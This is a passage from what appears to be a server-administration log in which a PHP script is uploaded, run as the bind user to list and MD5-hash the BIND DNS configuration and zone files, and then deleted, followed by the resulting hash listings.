				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:19:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp484314; rm /tmp/pkp484314'

2026-01-03 19:19:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:20:26: Establishing a connection
2026-01-03 19:20:41: Establishing a connection
2026-01-03 19:20:42: 

PUT: /tmp/pkp460455

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:20:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp460455; rm /tmp/pkp460455'

2026-01-03 19:20:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
